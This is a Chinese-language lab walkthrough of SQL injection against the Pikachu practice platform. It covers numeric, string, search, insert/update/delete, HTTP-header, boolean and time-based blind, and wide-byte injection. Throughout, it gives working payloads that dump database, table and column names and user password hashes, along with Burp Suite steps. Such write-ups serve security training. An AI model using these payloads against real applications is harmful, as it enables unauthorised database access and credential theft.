Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一
数字型SQL
可以看到输入采用下拉列表,用burp抓包进行SQL注入。
打开burp抓包,右键send to repeater,可以在左侧request框内的Raw栏原报文修改id参数,也可以在Params里修改。
修改ID的值为 1 or 1=1#(在后续的判断中使结果始终为1)
举个例子
用php编写的脚本
第19行 输入的’$password’实际上已经变成了一个真值。
用order by 子句猜解查询的字段数。
[猜解查询字段数的原因:使用联合查询时,副查询字段数需要与主查询字段数一致,否则会报错。]
1 order by num #
num=1、2时正常,为3时报错。说明查询的字段数为2。
用如下联合查询语句爆出当前数据库的名字。由回显得知数据库名为pikachu。
1 union select 1,database()#
用联合查询爆出当前数据库的包含所有表名(table_name)。
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查询重要表的列名(column_name),此处爆的是users表。
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’ #
最后一步,保存数据。这里爆的是username和password这两个字段的数据。密码经过MD5加密,可在解码网站进行解码。
1 union select group_concat(username),group_concat(password) from users #
字符型SQL
页面存在输入查询框,直接在框内输入进行注入就可以了,不过用burp其实也很方便。在框内只输入一个单引号,点击查询,页面返回报错信息,说明该页面可能存在注入点。
直接输入 1’or 1=1#
用order by子句猜解查询的字段数,num=3时报错,说明查询的字段数为2。
kobe' order by num#
注意如果是复制到burp中,要将其转换成特殊字符的url编码(kobe’+order+by+num%23)
接下来的流程和数字型注入并无太大差别,就是多了一个单引号需要闭合。
爆库:kobe' union select 1,database()#
爆表:kobe' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
爆列:kobe' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member' #
保存数据:kobe' union select group_concat(username),group_concat(pw) from member #
搜索型SQL
先试一下1′ or 1=1#
点击提示发现该类型注入意在让测试者构造'%$keyword%'
闭合,但不知道为什么,直接用
1' or 1=1 #
就能够成功注入。
尝试1%’ or 1=1#
其余操作与上个相同 只需注意输入时 用 XX%’
XX型注入
输入单引号页面返回报错信息。
输入字符型万能语句查询:kobe' or 1=1#
猜测使用 kobe’) or 1=1#
“Insert/updata”型注入
Insert
点击注册进入注册页面,在用户框内输入单引号,密码为必填项,随意输入,提交。页面返回报错信息如图。
由报错信息可以知道,输入的数据直接拼接入该sql查询语句中,存在着SQL注入漏洞。由于页面直接返回了数据库具体的报错信息,在此可以使用报错注入。(报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中)
构造语句:kobe' or updatexml(1,concat(0x7e,database()),1) or'
此处利用的是updatexml()+concat()函数的报错,updatexml函数中的Xpath路径非法时会返回语法错误,但其中的语句仍然可以正常执行。內加concat函数是为了返回完整的database信息,将”~“符号(0x7e为该符号的十六进制格式)和database()函数返回的信息拼接在一起。
爆表时若使用group_concat()函数查询,回显的信息并不完整。
0′ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’pikachu’ )),0) or ‘
由于回显的报错信息只能显示一行,这里用limit语句限制查询回显的信息行数为1。
0′ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1)),0) or ‘
0′ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 1,1)),0) or ‘
修改limit参数即可一条一条地将所有当前库内的表给爆出。
报错注入还有很多种方法,如extractvalue()函数的报错,floor()函数的报错等等,目前不会。
Update
点击修改个人信息,随意在任意信息后加单引号并且提交,页面返回报错信息如下。
随便注册一个账号,登录即会跳转至个人会员中心。
此处同样可以使用报错注入(能够返回具体报错信息的大多能够使用报错注入):
' or updatexml(1,concat(0x7e,database()),0) or '
“Delete”注入
页面为空白的留言板,输入框是无法注入的。随便加入几条信息,可以看到留言列表多出了刚刚插入的信息。
打开burp的拦截,再随意点击一条留言删除,可以看到拦截到了一个get型的报文。
发送至Repeater,可以通过修改URL的id参数进行SQL注入。
ID后加单引号时的报错信息如图。
此处使用的同样是报错注入。
0 or updatexml(1,concat(0x7e,database()),0)#
因为id是数字型的,所以无需单引号闭合。此处有一点要注意,一些关键字需要转化为URL格式,比如“#”符号需要变化为%23,其他需要转化的关键字有单引号,空格等。
“Http Header”注入
使用提示内提供的账号密码admin/123456直接登录,用burp发送到repeater显示:
修改user agent参数,在其后加上单引号,页面返回报错信息:
使用报错注入:
' or updatexml(1,concat(0x7e,database()),1) or'
盲注(Base on Boolean)
输入单引号,发现页面没有报错。
vince' and 1=1#
输入以上语句,页面返回正常信息,说明为字符型的盲注。
布尔盲注漏洞,页面只返回True和False两种类型,即不论语句发生什么样的错误,都返回一样的报错信息,而并非像之前的类型一样能够返回具体的报错信息。因此我们只能通过返回页面的不同来逐个猜解数据。
盲注同样可以使用order by子句猜解查询的字段数:
vince’ order by num #
num=1、2时均可正常查询到kobe的信息,num=3时页面返回:“您输入的username不存在,请重新输入!” 说明查询的字段数为2。
爆库需要先用length函数猜解数据库名称的长度(爆表爆列同理)。
vince’ and length(database())=num#
num=7时页面返回正常信息,等于8时显示 “您输入的username不存在,请重新输入!” 。该payload语句中的等于号“=”可以替换为大小于号猜解大概的范围,使用二分法缩小范围便于确定具体值为多少。
利用字符的ASCII码值逐个猜解数据库名的每个字符:
vince’ and ascii(substr(database(),1,1))=num#
该语句中的substr函数限制查询的字符串只返回一个字母。
此处使用burp的intruder能够很方便地处理数据。打开拦截,输入该语句并且提交,右键将拦截到的报文发送至intruder。
vince’ and ascii(substr(database(),1,1))=num#
在positions栏内先点击 clear $ 来清除软件自动判定的定位符,再选中num的参数,点击 add $ 给选定的参数添加定位符。
在payloads栏内修改payload type为Numbers,在下方的Number range设置参数的范围,ASCII码值范围33-126覆盖了绝大多数的字符。step设置为1,设置完即可点击start attack开始注入。
在此根据返回页面length数据的差别可以看出,当前数据库名的第一个字符的ASCII码值为112。参照ASCII码表可知,第一个字符为p。
手动修改substr函数中的第二个参数,就能够得到数据库名中其他字符的ascii码值。通过ASCII码表转化可知,数据库名称为pikachu。
盲注(Base on Time)
基于时间的盲注,无论输入什么信息页面都返回相同的信息,无法根据页面返回信息来确认真假,但可以通过页面返回信息的时间长短来判断页面是否成功执行了注入的语句。
在pikachu的时间盲注类型测试框内无论输入正确还是错误的username,页面只返回一句话 “i don’t care who you are! ”
vince’ and sleep(5) #
输入以上语句,页面仍然返回这句话,但需要等待5秒以上,说明网页执行了语句中的sleep函数,存在着时间盲注漏洞。sleep函数的作用是使程序暂停一段时间,此处即是是网页的响应延时5秒。
配合if表达式,就可以逐个爆出数据库的名字。
vince' and if((ascii(substr(database(),1,1))=112),sleep(5),null)#
后略
宽字节注入
1)宽字节注入使用条件是:PHP发送请求到MySql时使用了语句SET NAMES ‘gbk’ 或是set character_set_client =gbk 进行了一次编码
(2)宽字节注入的使用原因是:单引号、双引号等特殊字符被转义
(3)宽字节注入的原理是:当转义使用的\为ASCII编码,而客户端传入的参数被当成GBK等宽字节编码,则可以通过在\之前插入一个十六进制字节(ASCII码要大于128,才到汉字的范围)来让mysql以为插入的字节和\是一个中文字符,从而吃掉\,摧毁转义。
(22条消息) pikachu SQL注入 (皮卡丘漏洞平台通关系列)_箭雨镜屋-CSDN博客
当我们输入有单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。
GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。
在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入 payload
当我们用通常的测试 payload时,是无法执行成功的,下面的payload会报错
我们可以用下面的payload,在单引号前面加上 %df,让单引号成功逃逸
kobe %df’ or 1=1#